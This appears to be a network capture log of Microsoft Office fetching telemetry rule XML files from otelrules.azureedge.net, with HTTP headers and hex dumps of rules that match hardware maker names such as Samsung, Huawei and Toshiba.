2024-10-29 12:08:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:24 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 1abafd92-601e-0070-072b-27a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120824Z-16849878b786lft2mu9uftf3y400000007n000000000gkhg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:24 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.5	49760	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:24 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:24 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: ebbbec6e-b01e-0021-1c83-29cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120824Z-17c5cb586f6sqz6fff89etrx0800000006a0000000002a2e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:24 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.5	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:24 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:24 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 67fffc2c-401e-000a-5dae-264a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120824Z-16849878b78z2wx67pvzz63kdg00000004zg00000000gdv4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:24 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.5	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:25 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:25 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 6eb87161-001e-0079-37d9-2612e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120825Z-17c5cb586f6vcw6vtg5eymp4u800000004q0000000002f9p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:25 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.5	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:25 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:25 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: deaa19c2-701e-006f-33de-26afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120825Z-17c5cb586f6gkqkwd0x1ge8t0400000006v00000000090a0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:25 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.5	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:25 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:25 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:25 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 2760be74-301e-0096-200b-26e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120825Z-16849878b78j7llf5vkyvvcehs00000007fg00000000g5de x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:25 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.5	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:25 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:25 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:25 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 50755ed9-801e-00ac-015e-27fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120825Z-17c5cb586f6f8m6jnehy0z65x400000005w00000000010g6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:25 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.5	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:25 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:25 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: fa11464d-701e-0032-1f49-27a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120825Z-16849878b78p8hrf1se7fucxk8000000078g00000000g1m5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:25 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.5	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:26 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:26 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:26 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: d63b5638-a01e-0021-2ab4-27814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120826Z-15b8d89586fst84k5f3z220tec0000000qk00000000058r0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:26 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.5	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:26 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:26 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:26 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 892d3b27-201e-005d-7649-27afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120826Z-16849878b78wc6ln1zsrz6q9w8000000065000000000a47k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:26 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.5	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:26 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:26 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:26 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: c9fe3c14-601e-0050-50d7-262c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120826Z-16849878b7898p5f6vryaqvp5800000007d0000000003hp4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:26 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.5	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:26 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:26 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:26 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 03f0a5af-d01e-007a-76f2-24f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120826Z-r197bdfb6b42rt68rzg9338g1g00000007r00000000060r4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:26 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.5	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
